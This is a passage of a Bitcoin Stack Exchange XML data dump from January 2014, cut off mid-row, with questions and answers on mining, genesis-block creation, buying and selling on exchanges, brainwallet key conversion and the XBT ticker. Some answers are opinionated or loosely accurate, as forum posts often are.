  <row Id="21294" PostTypeId="2" ParentId="21002" CreationDate="2014-01-28T20:06:59.503" Score="-2" Body="&lt;p&gt;If , as claimed, Bitcoins cannot be easily manipulated as fiat currencies are, and if they can be more or less anonymous, then they surely would be a major threat to the debt based world economy.  I would suppose that if Bitcoins should get the reputation of being free from artificial Inflation, they might well take over as a desirable currency, thus alarming governments and banks worldwide.  We could expect drastic efforts to sabotage Bitcoins, in the same way that the Internet is a threat to the &quot;Establishment&quot;.  &lt;/p&gt;&#xA;" OwnerUserId="12818" LastActivityDate="2014-01-28T20:06:59.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21296" PostTypeId="2" ParentId="21293" CreationDate="2014-01-28T20:44:48.573" Score="1" Body="&lt;p&gt;Latency of connections between nodes matters when mining because, essentially, a valid block found that reaches the highest number of peers first wins that block height.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if miners Alpha and Beta both find within a few milliseconds of each other, their incentive to push that block around to connected clients as quickly as possible is that they get their block on the chain first and thus are able to claim the reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More technically, if we're currently at block height 10, and miners are hashing to find a solution that will become block 11, and Alpha and Beta both find a block, they can both claim it to be block 11. However, it only actually becomes block 11 when 51% of nodes believe that a certain block is the 11^th block. The other block, the valid block that lost the exposure contest, becomes an &lt;em&gt;orphaned&lt;/em&gt; block, and gets pruned when the height 12 blocks start coming in.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2014-01-28T20:44:48.573" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21297" PostTypeId="1" AcceptedAnswerId="21332" CreationDate="2014-01-28T20:45:01.890" Score="2" ViewCount="2419" Body="&lt;p&gt;I'm digging for Dogecoins at Hashfaster (Wow! To the moon!), and I'm trying to understand the statistics page. What is the difference between a block (my cpu miner software detects new blocks all the time) and &quot;rounds&quot; (which seems to be some metric on the Hashfaster dashboard)?&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2014-06-13T18:38:37.007" Title="How does &quot;rounds&quot; compare to &quot;blocks&quot;?" Tags="|dogecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21299" PostTypeId="2" ParentId="7910" CreationDate="2014-01-28T21:15:08.627" Score="-1" Body="&lt;p&gt;you can try  &lt;a href=&quot;http://bestcoin.udf.me&quot; rel=&quot;nofollow&quot;&gt;bestcoin.udf.me&lt;/a&gt; it is a new site with calculator, and charts&lt;/p&gt;&#xA;" OwnerUserId="12821" LastActivityDate="2014-01-28T21:15:08.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21300" PostTypeId="2" ParentId="21286" CreationDate="2014-01-28T21:33:19.113" Score="2" Body="&lt;p&gt;Don't worry about it, just let your OS take care of the scheduling. As long as you're not trying to run more CPU-bound threads than you have cores, you'll be running as efficiently as you can. Even a single threaded program will bounce around between cores (you can see this by looking at a CPU usage graph, and your single threaded program will probably use 25% of each of a quad core system on average).&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-01-28T21:33:19.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21301" PostTypeId="1" AcceptedAnswerId="21305" CreationDate="2014-01-28T21:51:41.713" Score="0" ViewCount="2147" Body="&lt;p&gt;I apologize if this is a duplicate of &lt;a href=&quot;https://bitcoin.stackexchange.com/q/91/4276&quot;&gt;this question&lt;/a&gt;, but it might be because of my ignorance about this topic that I think I am asking for different information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to buy some bitcoin. About $100 USD worth. From today's rate that is a little more than 0.1 bitcoin. I am fine with hanging on to it for a few years. Maybe five or longer. My concern is that there doesn't seem to be an easy way to sell bitcoin, like through mt.gox. Maybe I'm mistaken about that. I just want to make the purchase and have it to easily sell later, like I do with stock on Scottrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if it is on topic, suggestions for litecoin and peercoin would be very much appreciated. It seems like it is on-topic according to some meta posts.&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-01-28T23:59:05.163" Title="What is the best way to buy bitcoin for long term investment to sell for cash later?" Tags="|investing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21303" PostTypeId="1" CreationDate="2014-01-28T22:57:19.333" Score="2" ViewCount="15695" Body="&lt;p&gt;I'm trying to create a testcoin using litecoin. To create genesis block I changed some lines to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;block.nTime = 1390948469; // current time&#xA;&#xA;uint256 hashGenesisBlock(&quot;0x&quot;); //I dont now it's true or false&#xA;&#xA;uint256 hash = block.GetHash();&#xA;        printf(&quot;%s\n&quot;, hash.ToString().c_str());&#xA;        printf(&quot;%s\n&quot;, hashGenesisBlock.ToString().c_str());&#xA;        printf(&quot;%s\n&quot;, block.hashMerkleRoot.ToString().c_str());&#xA;        assert(block.hashMerkleRoot == uint256(&quot;0x&quot;)); //I dont now it's true or false.&#xA;        block.print();&#xA;        assert(hash == hashGenesisBlock);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I build daemon and launch it, I'm getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;litecoind: main.cpp:2788: bool InitBlockIndex(): Assertion `hash == hashGenesisBlock' failed.&#xA;Aborted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I check the &lt;code&gt;./litecoin debug.log&lt;/code&gt; file, I'm seeing the &lt;em&gt;previous&lt;/em&gt; hashMerkleRoot and hashGenesisBlock that litecoin uses now. I can't create new hash and merkle root.&lt;/p&gt;&#xA;" OwnerUserId="12095" LastEditorUserId="5406" LastEditDate="2017-06-09T15:14:51.847" LastActivityDate="2021-02-26T06:29:53.623" Title="How can I create a new Genesis Block?" Tags="|litecoin|altcoin-development|genesis-block|" AnswerCount="4" CommentCount="0" ClosedDate="2021-02-26T13:31:56.577" ContentLicense="CC BY-SA 3.0" />
  <row Id="21304" PostTypeId="1" CreationDate="2014-01-28T23:09:15.743" Score="2" ViewCount="578" Body="&lt;p&gt;I would estimate there are roughly 2 billion computers in the world, with an average hashrate of 10 MegaHash. That equals to 20,000 TerraHash or about 20 PetaHash. The Bitcoin network is around 20 PetaHash now. Does this mean that the network cannot be attacked using regular computers anymore?&lt;/p&gt;&#xA;" OwnerUserId="12830" LastEditorUserId="5406" LastEditDate="2016-04-09T07:55:38.763" LastActivityDate="2016-04-09T07:55:38.763" Title="Has the Bitcoin network surpassed the total computing capacity of all the general purpose computers in the world?" Tags="|mining-hardware|mining-theory|hashpower|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21305" PostTypeId="2" ParentId="21301" CreationDate="2014-01-28T23:46:45.900" Score="1" Body="&lt;p&gt;Exchanges work by letting you both buy and sell bitcoin (see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12528/how-can-i-withdraw-dollars-from-mt-gox&quot;&gt;How can I withdraw dollars from Mt Gox?&lt;/a&gt;). That's who is doing both the buying and selling in most cases: people like you who got their starting bitcoins by buying them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you're looking long-term, you should consider the &lt;a href=&quot;http://arstechnica.com/business/2013/04/study-45-percent-of-bitcoin-exchanges-end-up-closing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;stability&lt;/a&gt; &lt;a href=&quot;http://blogs.marketwatch.com/thetell/2013/11/12/chinese-bitcoin-exchange-disappears-with-4-1-million/&quot; rel=&quot;nofollow noreferrer&quot;&gt;and reputation&lt;/a&gt; of where you store your bitcoins. &lt;a href=&quot;https://www.mtgox.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MtGox&lt;/a&gt; and &lt;a href=&quot;https://coinbase.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coinbase&lt;/a&gt; are two options for exchanges you could use, but as the above-linked question states, getting USD out of MtGox isn't straightforward at the moment, while getting it out of Coinbase is (but nobody really knows what the legal status of these exchanges and Bitcoin will be in 5 years). To eliminate the possibility of &lt;em&gt;someone else&lt;/em&gt; losing your bitcoins (or you losing access to your account), instead of keeping the bitcoins in the exchange, you could &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_set_up_a_secure_offline_savings_wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;transfer them to a wallet of your own&lt;/a&gt; (especially if you decide to buy a more significant amount of bitcoins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the onus is entirely on you: print the private key and keep it somewhere secure (a bank's secure deposit box would be perfect, but too expensive to just store $100 worth of bitcoin), or encrypt it and remember (or write down, and secure the paper) the password while putting the encrypted file on various drives and cloud storages, or whatever else you decide to do. Of course, this means that you might accidentally lose access to your bitcoins if you &lt;a href=&quot;http://www.forbes.com/sites/kellyphillipserb/2013/11/30/from-treasure-to-trash-man-tosses-out-bitcoin-wallet-on-hard-drive-worth-9-million/&quot; rel=&quot;nofollow noreferrer&quot;&gt;aren't careful&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can decide which risk you're more willing to take. I think I'd do the following: Buy it on Coinbase and transfer it to an offline wallet. Secure that as mentioned above, then when you're ready to sell, transfer it back into Coinbase (or whatever exists then) and to your bank account.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-01-28T23:59:05.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21307" PostTypeId="2" ParentId="21292" CreationDate="2014-01-29T00:07:48.097" Score="6" Body="&lt;p&gt;A Bitcoin address is a hash of the public key. The &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot;&gt;Bitcoin wiki explains&lt;/a&gt; the exact (complicated) procedure in great detail. In brief, it involves hashing the public key and includes a checksum. The private key and public key are &lt;a href=&quot;https://en.bitcoin.it/wiki/ECDSA&quot;&gt;mathematically related&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you have the private key, you can easily calculate the public key and address.&lt;/li&gt;&#xA;&lt;li&gt;If you have the public key, you can easily calculate the address, but not the private key.&lt;/li&gt;&#xA;&lt;li&gt;If you have the address, you cannot calculate either key.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-01-29T00:07:48.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21308" PostTypeId="1" AcceptedAnswerId="21379" CreationDate="2014-01-29T00:25:54.260" Score="2" ViewCount="754" Body="&lt;p&gt;I have been able to mine successfully on my bitcoin p2pool. I set up merge mining according to the guide found here &lt;a href=&quot;https://bitcointalk.org/index.php?topic=62842.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=62842.0&lt;/a&gt; and everything seems to be running fine. Looking at the screen running p2pool I get messages as such: 2014-01-29 00:18:32.797966 Got new merged mining work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have been mining and have found at least 15 shares for bitcoin since I have installed, but nothing for the merge mined coins I added:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;root@p2pool:~# namecoind listtransactions&#xA;[&#xA;]&#xA;root@p2pool:~# ixcoind listtransactions&#xA;[&#xA;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been mining to a different address as the user, e.g. cgminer -o mypool.com -u  -p x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this be the reason why I am not getting any merged coins? Thanks in advance for your help!&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-01-30T03:25:16.073" Title="Not getting merged mined coins on p2pool" Tags="|p2pool|merged-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21309" PostTypeId="1" CreationDate="2014-01-29T00:30:45.177" Score="7" ViewCount="12473" Body="&lt;p&gt;Where can I find information on a large number of &quot;exchange&quot; or &quot;trading platform&quot; APIs showing which currencies (digital and fiat) they convert between?&lt;/p&gt;&#xA;" OwnerUserId="12834" LastEditorUserId="5406" LastEditDate="2014-02-02T13:47:12.077" LastActivityDate="2018-02-22T01:24:02.170" Title="Where can I find an overview of Bitcoin exchange APIs?" Tags="|exchanges|api|currencies|bots|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21310" PostTypeId="1" CreationDate="2014-01-29T00:42:24.420" Score="0" ViewCount="216" Body="&lt;p&gt;Back around the small panic during mid April, I tried to sell a large qty of XBT to USD quickly on an exchange. I expected that I would get current USD/XBT quoted on that website times # of XBT in my account. I was very wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, the exchange broke my transaction into several smaller transactions of various sizes, sold some quickly while others took as long as 30 minutes to convert to USD, and none of these sub transactions were converted at the price quoted on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand, that's because every exchange has Buyers and Sellers whose Orders are like virtual post-it notes on a bulletin board announcing their desire to buy or sell A amount of currency at P price, and the exchange just tries to &quot;find good matches&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that true? And is it true that every exchange has its own algorithm for doing so and there is no &quot;standard&quot; for how such an algorithm should operate? If so, what info do I have to go on if I want to have a good idea of how much USD I will get for my XBT when I place a Sell order at Exchange X?&lt;/p&gt;&#xA;" OwnerUserId="12834" LastActivityDate="2014-01-29T01:22:38.693" Title="Orders and &quot;fills&quot; are confusing!" Tags="|exchange-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21311" PostTypeId="1" AcceptedAnswerId="21316" CreationDate="2014-01-29T00:44:17.247" Score="0" ViewCount="3586" Body="&lt;p&gt;I am specifically referring to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=421842.60&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this over&lt;/strong&gt;&lt;/a&gt; at bitcointalk.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general consensus I gathered from reading the thread is that this is not a hoax. There seems to be a group of generated bitcoin addresses that can be considered weak where its private key can be recovered in a reasonable amount of time. There's currently no known way to determine if a given btc address is weak or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is not clear to be me is how it is able to accomplish this. What is the basic idea behind this attack that allows it to even work? Explain it to me like I was 5, if possible. Is this is a potential break of the ECC algorithm?&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2023-07-22T10:33:41.360" Title="How does this OpenCL BTC private-key cracker work? Is it a real threat to bitcoins?" Tags="|security|address|cryptography|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21312" PostTypeId="2" ParentId="21311" CreationDate="2014-01-29T00:59:48.843" Score="1" Body="&lt;p&gt;Whilst I am not an crypto expert, I guess, in some programs that generate &quot;wallet&quot; keys (official or not), there may be a problem with the random number source that is used to create the keys (biased towards some numbers maybe). That will allow the attacker to create a link between target X variable (pub. key, user id, time created, or whatever, I don't know...) and private key. Naturally, it would reduce the amount of possible private keys to a reasonable amount and let it be cracked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallet system is asymmetric cryptography after all and this is the only reason I can think of. &lt;a href=&quot;http://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow&quot;&gt;Further reading on wiki on asymmetric cryptography&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12836" LastEditorUserId="12836" LastEditDate="2014-01-29T01:12:21.020" LastActivityDate="2014-01-29T01:12:21.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21314" PostTypeId="2" ParentId="21286" CreationDate="2014-01-29T01:08:08.877" Score="0" Body="&lt;p&gt;CPU mining for what, Primecoin?  Sure the CPU can mine however, with GUIMiner you can use CPU OR GPU &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the GUIMiner tool or  GuiMiner-scrypt, very easy to check/uncheck cpus  , or write a quick batch file that does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not let windows do this, as all the people mining with open rigs are using config files like bat on windows or other files on linux etc..&lt;/p&gt;&#xA;" OwnerUserId="12274" LastActivityDate="2014-01-29T01:08:08.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21316" PostTypeId="2" ParentId="21311" CreationDate="2014-01-29T01:12:44.787" Score="2" Body="&lt;p&gt;I hope this post by Greg Maxwell is convincing enough: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=421842.msg4809012#msg4809012&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=421842.msg4809012#msg4809012&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless your private key is generated by a weak random number generator, there is no need to worry. It effectively takes around 10^42 operations to crack a 256-bit elliptic curve private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He's using names of some well-known algorithms for solving the discrete logarithm problem (which is what you must do to find the private key from a public key in our case). They are significantly faster than a brute force search, but cannot break the limit posted above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The explanation seems to boil down to &quot;we pick some keys to start with, and if yours is close to any of them, we'll find it quickly&quot;. That shouldn't surprise anyone. The odds of being &quot;close&quot; to any of the keys someone chooses to start with are astronomically small however. Even being able to try millions or billions of keys per second will not change that.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2014-01-29T01:21:08.240" LastActivityDate="2014-01-29T01:21:08.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21317" PostTypeId="2" ParentId="21206" CreationDate="2014-01-29T01:16:27.843" Score="-1" Body="&lt;p&gt;I believe that most people should try out mining, and then really think about why you are mining.  Curious?  Fun?  Money?  Do you believe in the cryptocurrency?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I think that crytocurrencies are here to stay. Litecoin is second behind Bitcoin, but mining it can be super profitable if the price of what you mined shoots up like Bitcoin.  This stuff is like gold.  No government can de-value it by printing more paper money and diluted its value.  This fits the very description of a good currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if litecoin goes from under 30 a coin to 800 a coin?  You don't care about the $6 /day in electricity that you had previous spent now do you?&lt;/p&gt;&#xA;" OwnerUserId="12274" LastActivityDate="2014-01-29T01:16:27.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21318" PostTypeId="2" ParentId="21310" CreationDate="2014-01-29T01:22:38.693" Score="1" Body="&lt;p&gt;That is how most exchanges work, with an order book containing bids (buy) and asks (sell) orders. The trading engine of the exchange will match orders as quickly as possible, though in cases of a crash or excessive volume exchanges have been known to suffer a severe amount of trade lag (e.g. mtgox), resulting in orders not being filled at the last price when submitting an order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how an exchange works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have 1 XBT you would like to sell for $1000, so you go to an exchange, deposit your coin and place a sell order of 1 XBT @ $1000. If there are bids over $1000, your order will fill at the price of that bid. E.g. If there is an order to buy 1 XBT @ $1050, you will receive $1050 less exchange and withdraw fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no buy orders above $1000, the exchange will put your order in the orderbook and wait until it fills or is cancelled (or expires, in some cases on some exchanges). In this example, if someone were to later place a bid to buy 1 XBT @ $1050, they will pay $1000 for your order (providing there are no orders trying to sell XBT for less already on the book).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are trying to sell in an easier manner, I would recommend using Coinbase, which works very nicely within the US.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-01-29T01:22:38.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21319" PostTypeId="2" ParentId="21303" CreationDate="2014-01-29T01:34:29.090" Score="0" Body="&lt;p&gt;I don't see the code where you actually change the &lt;code&gt;block&lt;/code&gt; object's hash. The method &lt;code&gt;hashGenesisBlock()&lt;/code&gt; returns a hash, but it's never passed to the &lt;code&gt;block&lt;/code&gt; object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, the first line of your code also has a bug: the current time is &lt;code&gt;1390959227&lt;/code&gt;, not &lt;code&gt;1390948469&lt;/code&gt;. This might also cause a problem.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-29T01:34:29.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21320" PostTypeId="1" AcceptedAnswerId="21350" CreationDate="2014-01-29T01:57:30.433" Score="7" ViewCount="1130" Body="&lt;p&gt;Some standard requires tickers for currencies to start with an X. So, the usual abbreviation of Bitcoin, BTC, cannot be used in contexts where this standard is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, the unofficial ticker/abbreviation XBT is used in those contexts. Why? Bitcoin consists of two words, bit and coin, it's logical to abbreviate that to BC. For this reason XBC sounds like a much more logical ticker than XBT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the first reference of XBT and is a consideration made before using it that favoured it above XBC?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2015-01-21T14:07:24.993" Title="Who proposed the XBT ticker for Bitcoin and why is it used over the more logical XBC ticker?" Tags="|exchanges|currencies|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21322" PostTypeId="2" ParentId="21259" CreationDate="2014-01-29T02:21:42.537" Score="3" Body="&lt;p&gt;Answer was here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Wallet_import_format&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make brainwallet need to take a sha256 of password:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# echo -n 'yourbrainwalletpassword' | sha256sum &#xA;8abe468e0d5a814c644d9517ae35b36666d554b7bd682fa28c39e90d0cb5f91a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've write a little bash script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;declare -a base58=(&#xA;      1 2 3 4 5 6 7 8 9&#xA;    A B C D E F G H   J K L M N   P Q R S T U V W X Y Z&#xA;    a b c d e f g h i j k   m n o p q r s t u v w x y z&#xA;)&#xA;&#xA;encodeBase58() {&#xA;    dc -e &quot;16i ${1^^} [3A ~r d0&amp;lt;x]dsxx +f&quot; |&#xA;    while read -r n; do echo -n &quot;${base58[n]}&quot;; done&#xA;}&#xA;&#xA;[ -z &quot;$1&quot; ] &amp;amp;&amp;amp; echo &quot;Usage: ./script.sh privkey&quot; &amp;amp;&amp;amp; exit 1&#xA;&#xA;privkey=&quot;$1&quot;&#xA;&#xA;stage12=&quot;$(echo -n &quot;$privkey&quot; | sed -e 's/^/80/')&quot;&#xA;stage35=&quot;$(echo $stage12 | xxd -r -p | sha256sum | awk '{print $1}' | xxd -r -p | sha256sum | awk '{print $1}'  | cut -b 1,2,3,4,5,6,7,8)&quot;&#xA;&#xA;echo &quot;$(encodeBase58 &quot;${stage12}${stage35}&quot;)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use this script against sha256 sum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# bash script.sh 8abe468e0d5a814c644d9517ae35b36666d554b7bd682fa28c39e90d0cb5f91a&#xA;5JsPbHfVB7FeD6gGWoaQv6khRsasTJDK1tAiJ4TxgyWJLcjfgNa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I can import privkey to the &lt;code&gt;wallet.dat&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# bitcoind importprivkey 5JsPbHfVB7FeD6gGWoaQv6khRsasTJDK1tAiJ4TxgyWJLcjfgNa &quot;yourbrainwalletpassword&quot; &#xA;# bitcoind getaddressesbyaccount &quot;yourbrainwalletpassword&quot; &#xA;[ &#xA;    &quot;1Gu3HZDq6YEXfxwDC3A3EhDfEVAeCijbEt&quot; &#xA;] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to wiki, there are higher and lower borders.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Nearly every 256-bit number is a valid private key. Specifically, any 256-bit number between 0x1 and 0xFFFF FFFF FFFF FFFF FFFF FFFF&#xA;  FFFF FFFE BAAE DCE6 AF48 A03B BFD2 5E8C D036 4141 is a valid private&#xA;  key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, I'm successfully import priv key&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After a while, bitcoind tell me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: {&quot;code&quot;:-1,&quot;message&quot;:&quot;CKey::GetPrivKey() : i2d_ECPrivateKey failed&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it would be helpfull.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you !&lt;/p&gt;&#xA;" OwnerUserId="12645" LastActivityDate="2014-01-29T02:21:42.537" CommentCount="1" CommunityOwnedDate="2014-01-29T02:21:42.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="21325" PostTypeId="2" ParentId="21275" CreationDate="2014-01-29T03:20:26.420" Score="-2" Body="&lt;p&gt;No,  but there is talk about it in the future.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With google / bing   there are just &quot;talks&quot; about it.   Nothing concrete so I cannot provide a answer with solid information.    So no standard as of yet.   Many will pop up as middle men for the purchase.   Many will fail, but it is bound to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently Overstock.com has this statement:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cryptocoinsnews.com/2014/01/09/bitcoin-payments-live-overstock/&quot; rel=&quot;nofollow&quot;&gt;http://www.cryptocoinsnews.com/2014/01/09/bitcoin-payments-live-overstock/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;King of Bitcoin    &lt;a href=&quot;http://letstalkbitcoin.com/author/andreas/#.UuksmxBdV9k&quot; rel=&quot;nofollow&quot;&gt;http://letstalkbitcoin.com/author/andreas/#.UuksmxBdV9k&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12274" LastEditorUserId="12274" LastEditDate="2014-01-29T20:58:57.647" LastActivityDate="2014-01-29T20:58:57.647" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21326" PostTypeId="2" ParentId="19086" CreationDate="2014-01-29T03:45:39.590" Score="0" Body="&lt;p&gt;Good question as I have been searching for this myself.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the answer is that no one does it.  Most p2pools I've been on show the memory pressure, cpu load, etc of the p2pool that was running.  I believe this indicates that only a single box is running.  Also, the addresses have shown up as p2pool-1.domain.com, p2pool-2.domain.com, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We all know you can run multiple copies of the wallet, so that's not a big deal.&lt;/p&gt;&#xA;" OwnerUserId="12839" LastActivityDate="2014-01-29T03:45:39.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21328" PostTypeId="2" ParentId="21303" CreationDate="2014-01-29T04:48:52.250" Score="3" Body="&lt;p&gt;Create genesis block. Some people get stuck there, it's really easy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;find LoadBlockIndex() function, inside, change:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;paraphrase (pszTimestamp) to any recent news phase.&lt;/li&gt;&#xA;&lt;li&gt;get the latest unix time (do a google), and put in block.nTime.&lt;/li&gt;&#xA;&lt;li&gt;set any nNonce (doesn't really matter), &#xA;you can change the time/nonce for testnet too, if you want to use it.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After you are done, save it. Now the genesis block will not match the hash check and merkle root check, it doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first time you run the compiled code (daemon or qt), it will say &quot;assertion failed&quot;. Just exit the program, go to&#xA;config dir (under AppData/Roaming), open the debug.log, get the hash after &quot;block.GetHash() = &quot;, copy and paste it to the beginnig of main.cpp, hashGenesisBlock. Also get the merkle root in the same log file, paste it to the ... position in the following code, in LoadBlockIndex()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; assert(block.hashMerkleRoot == uint256(&quot;0x...&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;recompile the code, and genesis block created!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, don't forget to change &quot;txNew.vout[0].nValue = &quot; to the coin per block you defined, it doesn't matter to leave as 50, just be consistent with your coin per block (do this before adjust the hash and m-root, otherwise they will be changed again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check &lt;a href=&quot;https://bitcointalk.org/index.php?topic=225690.0&quot; 